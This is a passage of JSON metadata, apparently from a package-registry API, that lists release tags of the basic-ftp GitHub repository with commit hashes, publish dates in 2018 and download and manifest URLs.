om/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/ta